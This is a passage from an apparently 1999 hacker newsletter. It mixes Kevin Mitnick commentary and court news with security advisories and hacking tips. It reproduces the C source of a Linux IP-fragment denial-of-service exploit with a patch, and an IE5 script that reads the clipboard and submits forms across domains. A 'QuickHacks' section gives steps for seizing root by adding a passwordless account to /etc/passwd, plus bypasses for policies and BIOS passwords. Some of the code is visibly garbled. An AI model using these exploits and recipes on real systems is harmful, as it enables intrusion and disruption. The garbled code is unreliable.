lockup and into the fire of the notorious Los Angeles Country Jail-- better known as Hell. And even after his eventual release, Mitnick will spend up to three years in a technophobic virtual prison, barred from touching anything with a trace of silicon in it. So the sticker will continue to adorn my bumper as a reminder of the end of an era, and the dawn of a new and harsh morning. Kevin grew up to the extent that he did at a time when computers were still seen as mysterious and arcane, and exploring them was an innocent and joyful pastime for a few privileged youngsters. There was no talk of cyber- terrorism then; no suggestion that teenage technophiles were foreign operatives acting to overthrow the government. Kids who weren't old enough to drive were manipulating dizzying technology from their own bedrooms, and it was magic, pure and simple. Kevin Mitnick was already a legendary magician when I got my first computer in the early '80s. In today's Internet age, talentless teenaged taggers make national headlines by using pre-fab cracking tools to deface sitting-duck websites. So it takes some imagination to understand the genuine skill and artistry possessed by the likes of Kevin. He gained his knowledge from dumpsters and libraries and by tricking the guardians of technology with telephone con games.Applying that knowledge, doing things that weren't supposed to be possible,required creativity, resourcefulness, and tools that couldn't simply be downloaded. He was the archetypal trickster, sharing the joy of discovery with friends and loved ones through ingenious pranks; his hapless victims usually ended up too impressed with the magic to be overly annoyed with the inconvenience. While it seems inconceivable now, Mitnick didn't even cloak his efforts under a pseudonym. He was simply Kevin Mitnick. There was no reason to hide because what he was doing wasn't a crime. Nobody even minded much at first. It was all good clean fun. The Playground's Closed Then the world began to change, while Kevin remained the same. Communism died, and a notional hacker threat replaced the red menace as the enemy of everything good, decent, and American. The Internet took off in the early '90s, and pressure grew in Congress to make cyberspace safe for shopping. Computers were no longer the billion-dollar brains controlling our lives; instead they were on our desks and in our homes, and no one liked the idea that people like Kevin might get into them and muck around. Suddenly, the hacking that everyone around him thought was clever, amusing, and harmless during Mitnick's formative years became "computer fraud and abuse." Examining computer source code became "theft of proprietary information," and was equated to stealing money from a bank. Before he knew it, Kevin was a "danger to the community," held without bail like a murderer. And his rights were given the treatment normally reserved for accused drug kingpins. He was soon in front of an openly hostile court, facing the full brunt of a federal prosecution, as he watched the seasons change through the semitransparent polymer slits that pass for jailhouse windows. There was never any doubt that Kevin was guilty of at least some of the charges against him. There was never any doubt that he caused a lot of innocent people some serious hassles, and he needed to be slapped down. That was never really he point. The "Free Kevin" bumper sticker is on my car because every day that he spends locked up raises the punitive bar of zero tolerance another notch. Kevin Mitnick never damaged anything. He never stole a dime, never tried to profit from his efforts. He remained a laughing Peter Pan, while the world changed. I suspect he never really understood that his victims were no longer laughing along with him. He never lost his innocence. The sticker is there as a reminder of the new paradigm that punishes dumb innocence more severely than true guilt more harshly than fraud, theft, and robbery. The sticker is there because jail does a slow violence to a person, and Kevin Mitnick didn't deserve four years of that violence. -=- -=- 04.2 Mitnick's Judgment Day at Hand ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by Douglas Thomas 9:00 a.m. 25.Mar.99.PST LOS ANGELES -- Celebrity cracker Kevin Mitnick will appear before US District Court Judge Marianne Pfaelzer on Friday for what could be the last time. Pfaelzer is scheduled to rule on a plea agreement jointly submitted by the government and defense team attorneys. Although neither side has discussed the details, a report leaked last week said Mitnick will plead guilty in exchange for a reduced sentence. The arrangement reportedly calls for Mitnick to spend at least an additional year in prison. Mitnick, in custody since 1995, is charged with copying proprietary software from the computers of cellular telephone manufacturers. Over the years, he has grown to be the cause célèbre of hackers and crackers the world over. Friday's scheduled appearance won't be the first time that Pfaelzer has considered a plea agreement from Mitnick. In 1989, Mitnick pleaded guilty to possessing unauthorized long-distance codes and copying security software from the Digital Equipment Corporation. Pfaelzer rejected a plea bargain in that case, and Mitnick spent a year in prison and six months in a halfway house. If Pfaelzer accepts the current plea, it would mean the end of the federal indictment. Mitnick, however, still faces state charges stemming from a 1993 arrest. He is accused of fraudulently obtaining information from the Department of Motor Vehicles and faxing it to a copy shop in Los Angeles. If found guilty, Mitnick could face up to four years of additional prison time. 04.3 Why We Still Have to Free Kevin Mitnick... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Update from www.kevinmitnick.com Why We Still Have to Free Kevin Mitnick... Assistant US Attorneys Defy Court Order Again March 30, 1999 So Kevin Mitnick has pleaded guilty and reached an agreement with the federal authorities. The story is over. Thanks for participating. You can all go home now. Not so fast. If you've ever been robbed at gunpoint, you know the feeling of wanting to resist, but then giving up your valuables because you feared the consequences of what would happen if you resisted more vigorously. We all want to be heroes, but there comes a time when one needs to make a painful sacrifice in order to survive at all. For more than four years, Kevin has held firm in prison, maintaining his innocence while trying to build a defense against the government's charges. The process of constructing such a case is a monumental one, even for highly paid defense attorneys. Now add to the mix the reality of being held captive in a federal prison that limits your "participation" in your defense to 20 minute collect phone calls and five hours per week in an inadequate law library, and you may begin to see what it was like. Not there yet? Kevin's legal team was overworked and underfunded whereas the prosecution had unlimited resources and as much time as they needed, not to mention a compliant court that granted them every excuse for their manipulation of the facts and circumstances in this case. Government Defiance of Court Order Apparently unwilling to miss the opportunity to kick someone while they're down, government prosecutors David Schindler and Christopher Painter have walked through Alice's looking glass and turned the law on its head once again -- they have instructed the legal staff at the Metropolitan Detention Center (MDC) that Kevin will no longer need access to the laptop computer that Kevin has been using to prepare his defense; first for the trial, and now for the sentencing hearing scheduled for June 14, 1999. Here are the circumstances: The legal staff at MDC supervises the prison's compliance with all legal matters affecting the prison. Kevin and his legal team convene in the attorney's visiting room at MDC to use a laptop computer to review the electronic evidence in Kevin's case. Kevin is currently reviewing that evidence to counter the government's likely arguments in support of restitution requirements, which in turn are based upon fictional losses alleged to have been suffered by the alleged victims in this case. Illegal Interference by Government On Monday, March 29, Kevin met his legal team in the visiting room, where they were going to use the laptop computer to review evidence in preparation for Kevin's sentencing hearing on June 14. After waiting two hours, Kevin was informed that either Assistant U.S. Attorneys Schindler or Painter had incorrectly advised MDC Legal Staff that Kevin would "no longer be needing access to the computer," and consequently, Kevin would not be permitted access to the laptop in order to prepare for his sentencing hearing. Defense Attorney Asserts Federal Court Order One member of Kevin's defense team (standing in for attorney Don Randolph, Kevin's attorney of record in this case who is currently on vacation) asserted unequivocally that there is a federal court order in place with the MDC ordering -- not suggesting, but ordering -- the MDC to provide access to a laptop computer for Kevin and his legal staff. Government's "Logic" Defies Justification Logic would suggest that if government prosecutors object to a federal court order, it is their responsibility to petition the court for redress. The actions by the government are an attempt to turn the situation on its head, and constitute an apparent effort by AUSAs Schindler and/or Painter to unlawfully influence the behavior of the legal staff of MDC. In addition, they may have known that Kevin's lead defense attorney was scheduled to be out of town this week, thus increasing the likelihood that they would succeed in delaying Kevin's access to the evidence against him. Prosecutors in Direct Violation of Court Order Actions by AUSAs Schindler and/or Painter to manipulate legal staff at MDC are in direct violation of a federal court order by Judge Marianna Pfaelzer ordering the MDC to provide a laptop computer to Kevin Mitnick. Their actions are in violation of federal law, and at this difficult stage of Kevin's case, can have no other purpose than to interfere with Kevin's right to participate fully in his defense. Call Your Congresspeople and Local Media We urge you to call your United States Representative and Senator as well as your local news media to alert them to the apparently willful violation of a federal court order by sworn officers of the court. Calls to the office of Rep. Henry Waxman (D-CA) may prove especially helpful. @HWA 04.4 Mitnick gets 46 months? ~~~~~~~~~~~~~~~~~~~~~~~ Mitnick Sentenced to 46 Months by Douglas Thomas 3:00 a.m. 29.Mar.99.PST The case is not closed on Kevin Mitnick, who was sentenced Friday to 46 months in prison after pleading guilty to seven counts of wire and computer fraud. The notorious cracker still faces California charges for computer fraud. US District Judge Mariana Pfaelzer accepted Mitnick's guilty plea to five of 25 federal counts of fraud plus two counts of fraud in Northern California. No date has been set for a trial on Southern California charges, which stem from a 1993 arrest in which Mitnick was accused of fraudulently obtaining information from the Department of Motor Vehicles. If convicted of those charges, he could face an additional four years behind bars. Friday's plea agreement set total damages of up to US$10 million. Prosecutors and defense lawyers could not reach agreement on restitution, which will be determined at Mitnick's sentencing hearing, scheduled for 14 June. Final motions and a pre- sentence investigation report are due by 1 June. Mitnick has already spent 48 months in a Los Angeles detention center, including 14 months for violating conditions of his supervised release. He could be released to a halfway house this fall. But US Attorney David Schindler said Mitnick would be in prison "at least through next year." Don Randolph, Mitnick's attorney, said his client was relieved to have his federal case resolved. In a prepared statement, Randolph said, "[Mitnick] can now see light at the end of the tunnel, and has a reasonable certainty that it is not another train approaching." @HWA 05.0 Sesquipedalian.c 0 length connection resetting exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Wed, 24 Mar 1999 23:19:37 -0500 From: John McDonald To: BUGTRAQ@netspace.org Subject: DoS for Linux 2.1.89 - 2.2.3: 0 length fragment bug Hi, The recent release of the Linux 2.2.4 kernel fixed a remote denial of service problem in the IP fragment handling code. If you are running a Linux kernel between 2.1.89 and 2.2.3, it would probably be a good idea to get the latest version. In case that isn't feasible for you, I've included a patch in this post. The impact of this problem is that a remote attacker can effectively disable a target's IP connectivity. However, for the attack to succeed, the attacker will have to deliver several thousand packets to the target, which can take up to several minutes. A quick exploit and the patch are appended to the end of this post. The problem starts in ip_glue() in ip_fragment.c: /* Copy the data portions of all fragments into the new buffer. */ fp = qp->fragments; count = qp->ihlen; while(fp) { if ((fp->len len) > skb->len)) goto out_invalid; memcpy((ptr + fp->offset), fp->ptr, fp->len); if (count == qp->ihlen) { skb->dst = dst_clone(fp->skb->dst); skb->dev = fp->skb->dev; } count += fp->len; fp = fp->next; } The problem in this code is that if you can get a fragment into the qp->fragments list that has a length of 0, and is the first fragment in the list, then the call to dst_clone() will happen an extra time. The first time through the loop, count will necessarily equal qp->ihlen, causing dst_clone() to be called. However, if fp->len happens to equal 0, then count += fp->len won't increase it, and the next time through the loop, count will still equal qp->ihlen. dst_clone() increments a usage count on an element in the routing cache. Our 0 length fragment will cause this element in the cache to become stranded. The kernel will not free it when it does the garbage collection of the cache because it will think it is currently in use. The other component of the problem is that the call to allocate a new entry in the routing cache does a check to see if the hashtable that comprises the cache is at a saturated state. If it is, it proceeds to do a garbage collection. If the number of entries in the cache, after this garbage collection, is still higher than the threshold, then dst_alloc() will fail. So, if we generate enough stranded entries in the routing cache (4096 in 2.2.3) via our malicious frags, then all further calls to dst_alloc will fail. We can get a 0 length fragment into the head of the list by doing the following: Send a fragment at offset 0, with a length of X, and IP_MF set. This creates our list. Send a 0 length fragment at offset 0, where the ip header length is equal to the ip total length, and IP_MF is set. This will be treated as coming before the fragment already in our list, because it has an offset equal to the offset of the existing fragment. It doesn't overlap any, because it's end is equal to the following fragment's offset. Send a fragment at offset X, with IP_MF not set. This will mark the end of our set of fragments. ip_done() will return true because it will see the first frag going from 0 to 0, the second going from 0 to X, and the third going from X to the end. Our fragments will get passed into ip_glue(). -horizon Here is the patch: --- linux-2.2.3/net/ipv4/ip_fragment.c Wed Mar 24 22:48:26 1999 +++ linux/net/ipv4/ip_fragment.c Wed Mar 24 22:44:24 1999 @@ -17,6 +17,7 @@ * xxxx : Overlapfrag bug. * Ultima : ip_expire() kernel panic. * Bill Hawes : Frag accounting and evictor fixes. + * John McDonald : 0 length frag bug. */ #include @@ -357,7 +358,7 @@ fp = qp->fragments; count = qp->ihlen; while(fp) { - if ((fp->len len) > skb->len)) + if ((fp->len <= + || FP- 0) ((COUNT>len) > skb->len)) goto out_invalid; memcpy((ptr + fp->offset), fp->ptr, fp->len); if (count == qp->ihlen) { And here is the exploit: /* * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3 * * by horizon * * This sends a series of IP fragments such that a 0 length fragment is first * in the fragment list. This causes a reference count on the cached routing * information for that packet's originator to be incremented one extra time. * This makes it impossible for the kernel to deallocate the destination entry * and remove it from the cache. * * If we send enough fragments such that there are at least 4096 stranded * dst cache entries, then the target machine will no longer be able to * allocate new cache entries, and IP communication will be effectively * disabled. You will need to set the delay such that packets are not being * dropped, and you will probably need to let the program run for a few * minutes to have the full effect. This was written for OpenBSD and Linux. * * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing. */ #include #include #include #include #include #include #include #include struct my_ip_header { unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ unsigned char ip_tos; /* type of service */ unsigned short ip_len; /* total length */ unsigned short ip_id; /* identification */ unsigned short ip_off; /* fragment offset field */ #define IP_RF 0x8000 /* reserved fragment flag */ #define IP_DF 0x4000 /* dont fragment flag */ #define IP_MF 0x2000 /* more fragments flag */ #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ unsigned char ip_ttl; /* time to live */ unsigned char ip_p; /* protocol */ unsigned short ip_sum; /* checksum */ unsigned long ip_src, ip_dst; /* source and dest address */ }; struct my_udp_header { unsigned short uh_sport; unsigned short uh_dport; unsigned short uh_ulen; unsigned short uh_sum; }; #define IHLEN (sizeof (struct my_ip_header)) #define UHLEN (sizeof (struct my_udp_header)) #ifdef __OpenBSD__ #define EXTRA 8 #else #define EXTRA 0 #endif unsigned short checksum(unsigned short *data,unsigned short length) { register long value; u_short i; for(i=0;i<(LENGTH>>1);i++) value+=data[i]; if((length&1)==1) value+=(data[i]<<8); VALUE="(value&65535)+(value">>16); return(~value); } unsigned long resolve( char *hostname) { long result; struct hostent *hp; if ((result=inet_addr(hostname))==-1) { if ((hp=gethostbyname(hostname))==0) { fprintf(stderr,"Can't resolve target.\n"); exit(1); } bcopy(hp->h_addr,&result,4); } return result; } void usage(void) { fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n"); exit(0); } void sendem(int s, unsigned long source, unsigned long dest, unsigned short sport, unsigned short dport) { static char buffer[8192]; struct my_ip_header *ip; struct my_udp_header *udp; struct sockaddr_in sa; bzero(&sa,sizeof(struct sockaddr_in)); sa.sin_family=AF_INET; sa.sin_port=htons(sport); sa.sin_addr.s_addr=dest; bzero(buffer,IHLEN+32); ip=(struct my_ip_header *)buffer; udp=(struct my_udp_header *)&(buffer[IHLEN]); ip->ip_v = 4; ip->ip_hl = IHLEN >>2; ip->ip_tos = 0; ip->ip_id = htons(random() & 0xFFFF); ip->ip_ttl = 142; ip->ip_p = IPPROTO_UDP; ip->ip_src = source; ip->ip_dst = dest; udp->uh_sport = htons(sport); udp->uh_dport = htons(dport); udp->uh_ulen = htons(64-UHLEN); udp->uh_sum = 0; /* Our first fragment will have an offset of 0, and be 32 bytes long. This gets added as the only element in the fragment list. */ ip->ip_len = htons(IHLEN+32); ip->ip_off = htons(IP_MF); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN+32); if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) ip_len = htons(IHLEN); ip->ip_off = htons(IP_MF); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN); if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) ip_len = htons(IHLEN+32); ip->ip_off = htons(32/8); ip->ip_sum = 0; ip->ip_sum = checksum((u_short *)buffer,IHLEN+32); if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: IE 5 security vulnerabilities Greetings, Microsoft delivers with IE 5 an Active X control called "DHTML Edit control Safe for Scripting for IE 5". In my opinion this control IS NOT SAFE AT ALL . I have found two vulnerabilities in this component : It makes public the clipboard and it allows cross-frame access. IE 4 is also affected as far as the control is a signed component and the browser will download it from MS site.(see below my comments about the CLSID). Demos are available at http://pages.whowhere.com/computers/cuartangojc/dhtmle1.html I will briefly try to summarize the implications of this issues : 1- The hole makes public the clipboard. There is nothing new here. This is the third time I have reported this kind of vulnerability. MS says that this issue can be blocked by setting the "Allow paste operations via script" to 'prompt'. This security option is set to 'enable' by default (Medium security). IE 4 does not have this option and there is no way to avoid the exploit. 2- The hole allows cross-frame access The first Internet browser security rule is : scripts can only interact only whit documents same domain and protocol. MS calls this the cross-frame security, Netscape refers to this rule as "The same origin security policy". DHTML Editor violates this rule and allows "transaction spoofing", a malicious script can submit transactions without the user knowledge. I have asked my lawyer consultant about the issue and their response was : "Noboby can anymore use the IP addrress as a proof of an Internet crime against Internet Explorer users". MS says : "We don't see that this constitutes a security issue" . 3- Even if Microsoft fixes the hole the hole could exist forever. Why ? As far as I know this is the first time a hole is "SIGNED". MS has released an "dhtmed.cab" file as an ActiveX component signed by Microsoft ,anibody can distribute this file and the victim will only see a message telling him that the component is "Microsoft signed", I trust MS, everybody trust MS, we will accept the ActiveX. MS has invented a very clever method to sign software, but there is not a way to revoke the signature. 4- There is something rare in the CLSID Whenever an HTML page references a not registered CLSID nothing happens, just the object is not created. The "DHTML Edit Control" CLSID (clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A) is very special, Internet Explorer (4 and 5) will try to download the component from MS even if CODEBASE is not defined for the object. Is this a documented feature ? You can test this behaviour, : unregister the component "dhtmle.ocx" (using regsvr32.exe) and then load the page http://pages.whowhere.com/computers/cuartangojc/dhtmle2.html Why the browser decides to go to MS site ? It only knows : clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A Acoording whit MS documentation a CODEBASE parameter must be explicited in the OBJECT "object" to download the component. Any idea ? Regards, Cuartango ------------------------------------------------------------------------------- http://pages.whowhere.com/computers/cuartangojc/dhtmle1.html The DHTML Editor holes Microsoft delivers with IE 5 an Active X control called DHTML edit control, The Microsoft Dynamic HTML (DHTML) Editing Component allows Web authors and application developers to add WYSIWYG DHTML editing capabilities to their Web sites and applications. The control has two versions : DHTML Edit Control for IE 5 and DHTML Edit Control Safe for Scripting for IE 5 The first one is of course marked as not safe for scripting and you will be warned if an HTML page contains this object. The problem I have found : The second one is not safe at all. "DHTML Edit Control Safe for Scripting for IE 5" has in fact at least two security holes : 1- It makes public your clipboard (demo). According with Microsoft security rules access to Windows clipboard content is forbidden to Internet Explorer scripts unless the clipboard content was owned by the Explorer itself. This issue represents an important privacy leak. Workaround : Set security option "Allow paste operations via script" to "prompt". 2- It allows "cross-frame" access (demo). An HTML page or frame can read/write contents in frames owned by any domain, which is forbiden by cross-fame security rules. And still worst, It allows Tansaction spoofing. This is a very serious danger. The Safe version of ActiveX is not able to navigate but It can SUBMIT FORMS which means that a malicious WEB page (or E-Mail) can performs transactions agains any WEB site but YOU will be responsible because the transaction will have your own IP address. IE 4 is also affected if you accept the download of the ActiveX (Signed by Microsoft) Last update March 24 Año del señor de 1999 ------------------------------------------------------------------------------- http://pages.whowhere.com/computers/cuartangojc/dhtmle2.html DHTMLE Clipboard vulnerability

DHTML Editor Clipboard vulnerability

According with Microsoft security rules access to Windows clipboard content is forbidden to Internet Explorer scripts unless the clipboard content was owned by the Explorer itself. If an script performs a "paste" operation over an input text box the operation will succeed only if data were copied to the clipboard from the Internet Explorer. The DHTMLE editor delivered whit Internet Explorer 5 violates the clipboard security rule. The clipboard data can then be transferred to a form input box and posted to a malicious WEB.


To see the demo "copy" some text (from any application) and click the button below :

The box below  is a Input Text Area Box your clipboard text data should be here

The box below is "DHTML Edit Control Safe for Scripting for IE 5" 

The script making public the clipboard is very simple :

function getcb()
{
dh.DOM.body.innerHTML="";            // clear body
dh.execCommand(5032);                     // paste
S1.value = dh.DOM.body.innerText;   // copy to text area
}

Back to DTHMLE Vulnerabilities

Created by Juan Carlos Garcia Cuartango


Visitors since Mar 22 Año del Señor de 1999

Last update Mar  24  Año del señor de 1999

------------------------------------------------------------------------------- http://pages.whowhere.com/computers/cuartangojc/dhtmle3.html DHTMLE vulnerabilities

The  DHTML Editor cross-frame hole

 

The box in the righ is an DHTML Edit Control Safe for scripting.
It shows a form loaded from a diferent domain (www.angelfire.com).
Click the button below and I will fill the form and submit It.

Dont worry about the message displayed. It is only a demo.

A malicious script inserted in a WEB page or in an HTML formated e-mail can submit transactions that will contain your IP address. (Imagine an   script writting menaces in the White House guess book).

Back to DTHMLE Vulnerabilities

Created by Juan Carlos Garcia Cuartango


Visitors since March 22 Año del Señor de 1999

Last update March 23 Año del señor de 1999

 

------------------------------------------------------------------------------- Date: Thu, 25 Mar 1999 10:06:01 -0800 From: Harry Goodwin To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Re: IE 5 security vulnerabilities I wanted to take a moment to thank Juan Carlos for bringing these issues to Microsoft's attention prior to posting the issues publicly. I also wanted to post Microsoft's response to the issues he's discovered. 1) Internet Explorer has customizable security settings in place for users who are concerned about allowing certain functionality. In this particular case, concerned users can easily block this behavior by checking either 'disable' or 'prompt' under "Allow paste operations via script" in the custom settings section in security zones. Using the IEAK, admins can also adjust the default setting for this option before distributing Internet Explorer to their users. The option is set to 'enable' by default to allow enhanced functionality. 2) Upon investigation we did find a cross domain security violation in the DHTML edit control which we will revoke, fix, and release. 3) Internet Explorer has a mechanism in place which allows Microsoft to release a .reg file to block ActiveX controls by changing a bit in the registry. 4) The following information found on MSDN (search on CodeBaseSearchPath) addresses this concern: When Internet Component Download is called to download code, it traverses the Internet search path to look for the desired component. This path is a list of object store servers that will be queried every time components are downloaded using CoGetClassObjectFromURL. This way, even if an tag in an HTML document does not specify a CODEBASE location to download code for an embedded OLE control, the Internet Component Download will still use the Internet search path to find the necessary code. Internet search path syntax The search path is specified in a string in the registry, under the key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\CodeBaseSearchPath. The value for this key is a string in the following format: CodeBaseSearchPath = ; ; ... ; CODEBASE; ; ... ; In this format, each of URL1 through URLn is an absolute URL pointing to HTTP servers acting as "object stores". When processing a call to CoGetClassObjectFromURL, the Internet Component Download service will first try downloading the desired code from the locations URL1 through URLm, then try the location specified in the szCodeURL parameter (corresponding to the CODEBASE attribute in the tag), and will finally try the locations specified in locations URLm+1 through URLn. Note that if the CODEBASE keyword is not included in the key, calls to CoGetClassObjectFromURL will never check the szCodeURL location for downloading code. By removing the CODEBASE keyword from the key, corporate intranet administrators can effectively disable Internet Component Download for corporate users. Thanks, Harry ------------------------------------------------------------------------------- Date: Thu, 25 Mar 1999 14:57:51 -0500 From: Phil Brass To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Re: IE 5 security vulnerabilities > 4) The following information found on MSDN (search on > CodeBaseSearchPath) addresses this concern: When Internet Component > Download is called to download code, it traverses the Internet search path > to > look for the desired component. This path is a list of object store servers > that will be queried every time components are downloaded using > CoGetClassObjectFromURL. This way, even if an tag in an HTML > document does not specify a CODEBASE location to download code for an > embedded OLE control, the Internet Component Download will still use the > Internet search path to find the necessary code. > Internet search path syntax > The search path is specified in a string in the registry, under > the key > HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet > Settings\CodeBaseSearchPath. The value for this key is a string in the > following format: > CodeBaseSearchPath = ; ; ... ; CODEBASE; > ; > ... ; On my NT4 SP3 box, permissions on this key are set to Everyone: Special Access, which includes set value. Therefore, anyone who is a user on this box can control where every other user downloads their controls from. Is that OK? Phil @HWA 07.0 QuickHacks and tips from ManicX ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Quick Tricks Now Just a few quick tips ( pulled all the other stuff, its for your own good :þ ) Stuff Covered - Linux, Mobiles, Windows, BIOS, System: Nokia 5110 Crash it Send an SMS message full of 160 full stops to the phone It will now beep and flash for 30 sec's or else just turn itself off System: Linux (with lilo installed and local access) Gives a root shell / root account reboot your machine on the lilo: prompt type in what-linux-is-called-in-/etc/lilo.conf init=/bin/bash rw (i.e. linux init=/bin/bash rw ) linux will now start to boot and stop after a few error message you now have a root shell (you will have very few commands) so type in the following cat >> /etc/passwd manicx::0:0:new root account:/root:/bin/bash (hit crtl+d to get out of cat) sync (just to bring your files up to date) reboot and login with your new root account called manicx (no password) System: Linux (with local access) Gives a root shell / root account Boot with the rescue.img available on most linux distro cd's voila one root shell you will probably have to mount your linux partition (hda5 is the partition might be hda2 > hda7) mkdir /linux mount /dev/hda5 /linux cat >> /linux/etc/passwd manicx::0:0:new root account:/root:/bin/bash (hit crtl+d to get out of cat) sync (just to bring your files up to date) reboot and login with your new root account called manicx (no password) System: Windows Remove All policy restrictions Open regedit Scroll down to : HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies Anything with a value of "1" is turned ON so double click on it and change the value to "0" to turn it OFF (Or if you cant be arsed just delete them, Its best to note changes and change them back when your finished) When your finished just exit you should now have access to the all the restricted commands (run/dosprompt/control_panel/etc) (Win98- You will probably have to reboot before the changes take effect) System: Windows 95 Close down the start menu :þ Double click the [Start] button, so its got a black dotted line on it (this means its got focus) hit alt and - (minus key) at the same time, voila you can now move or close the startmenu System: Windows Gets rid of BIOS password (and resets CMOS settings) killcmos.zip Or Pull out the cmos battery for 5-10 mins (you need to know the setup) System: Windows Get past any password protection before boot-up Try booting from a floppy or holding down the shift key during startup @HWA 08.0 NT4 index server 2.0 vulnerabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 23 Mar 1999 23:40:55 -0000 From: Mnemonix To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: Index Server 2.0 and the Registry When Microsoft's Index Server 2.0 is installed on NT 4 with Internet Information Server 4 it opens a new "AllowedPath" into the Windows NT Registry. Administrators can control who can access the Windows NT Registry via the network by editing permissions on the Winreg key found under HKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\Winreg By default, on NT Server 4, the permissions on this key are set to Administrators with Full Control. No-one else should have access (although it doesn't really work out like this in the end.) There are certain paths through the Registry that remote users, whether they are Administrators are not, may access. These are listed in the AllowedPaths subkey found under the Winreg key. These paths are to allow basic network operations such as printing etc to continue as normal. Index Server 2.0 creates a new "AllowedPath": HKLM\System\CurrentControlset\Control\ContentIndex\Catalogs meaning that anyone with an local or domain account for that machine, including Guests, are able to discover the physical path to directories being indexed or if a directory found in a network share is being index they can learn the name of the machine on which the share resides and the name of the user account used to access that share on behalf of Index and Internet Information Server. Permissions on the above key and its sub-key give Everyone read access. Note that regedit and regedt32 can not be used to access this information. Tools such as reg.exe or home-baked efforts must be used. In most cases this issue represents a mild risk, but one worth noting and resolving by removing if this adversely affects you and your security policy. Cheers, David Litchfield http://www.infowar.co.uk/mnemonix/ @HWA 09.0 Yahoo news ticker has plaintext passwords in config files... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ FOR IMMEDIATE RELEASE: Application: Yahoo! NEWS TICKER Platforms : Win95,98,NT Advisory: The installation process of the Yahoo! NEWS TICKER leaves a file name "install.log" in the program directory. The file contains plaintext userid and password. The installation process also sets registry entries under hkey_local_machine/software/netcontrols/ticker that contain the plaintext userID and password. Each yahoo account uses the same password/userid for all parts including auctions, news, my.yahoo, classifieds, and most importantly, EMAIL!!!! this is an independant finding not a release by Yahoo!. Advisory by CSB 24MARCH99 @HWA 10.0 Defacing websites? read this from bufferoverflow/attrition. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ # mv index.new index.html # echo "03.20.99" # echo "I do not advocate web defacement or intrusive hacking." Introduction The Ends Justify The Means. My Rant In Plain English. Justification Suggestions For Improving Your Hacked Pages. The Good, The Bad, and The Impressive. Introduction Browsing the web, enjoying your time, nothing better to do. Casual search for something interesting to read, or maybe even a little research for a project or term paper. Click here, click there, link from site to site. Some mostly worthless, nothing more than links to other pages. Same old thing, different day.. until today. You typed in the URL for a web page that promised to have your info. Instead of computer pricing or biology, you found a cryptic message scrawled out claiming something, hell if you could tell what it was. You click on and forget about it. Yes, that was a hacked web page. One of the favored things of crackers to boast their deeds. Proof that they alone control the universe and 'own' someone else's computers. Self reasoning and a shoddy moral vindication of a petty break-in to some no name computer. At least, that sums up almost 99% of current web defacement activities. Why? The Ends Justify The Means. Ok, lets buy that argument for now. The 'means' in our case is the hacking of a site and the 'ends' constitutes replacement of the existing web page with a new 'improved' page carrying the hacker's message. In today's digital world, it is the equivalent of spray painting a wall to have your message seen by passerbys. Stop here and think about all of the spraypaint graffiti you have seen in the last six months. How much can you remember? Odd isn't it. Some person took the time and effort to break the law in order to get their message out. Risk possible incarceration for words or ideas they felt were important, yet you can't remember any (or all) of it. Why? Simple answer. Because there was no real message worth reading. After taking the power of free speech into their hands, after finding a place to stand on a soapbox, the person stood up only to mumble to a handful of faithful followers that already know the message. And boy, do they love to hear you talk! The rest of the passerby's continue on, unconcerned. They still don't know what you are trying to say. In fact, their opinion of you has gone down because you took the time to get a soapbox, stand on it, and face the public. You flaked out and didn't broadcast a meaningful message, therefore you are worth no time or thought. And there you go, a passing inattention in a fast moving world. Congrats. My Rant in Plain English In the past few years, over one thousand web pages have been hacked. Their content has been replaced with whatever hasty rant has popped into mind by the cracker. With few exceptions, arbitrary low traffic and no name domains are 'chosen' by these crackers to put up their message. Some of these sites get more traffic from the hack than a previous month of regular visitors they are so low key. The truth is, these kids(1) have delusions of grandeur in a networked world that could give a second thought about them. Their message is meaningless drivel that only impresses other kids for the most part. Web viewers walk away from seeing their "message" thinking immature social rejects plague the net, and they think so for damn good reasons. More and more sites are being replaced by poorly designed pages, chock full of mispelled words forming sentences that defy all rules of grammar. Pages full of "elite speak"(2) that prove absolutely nothing, have no humor value, and only contribute to more eye strain. Pages containing poorly written rants that form incoherent thoughts, opinions or reasons as to why the page was altered in the first place. Basically, dull pages that show a complete lack of intelligence and no creativity whatsoever. These kids have a chance to show the world that they are indeed intelligent well balanced *mature* net users, yet they throw every chance away it seems. (1) I use the word kids because more times than not, they ARE kids. Fifteen to Eighteen year olds that don't quite have a concept of how things work. In the cases where they are over eighteen, it is often difficult to tell based on the content of the altered pages. Don't like the use of the word 'kid'? Do a better job hacking these pages. (2) Elite speak being the oh-so-old replacement of alternate characters to spell words. t|-|1s TyP3 0f +3xt. Justification It seems most hackers want/need to justify their actions, be it to the admin of the site they broke into, the people reading the pages, their friends or often times themselves. 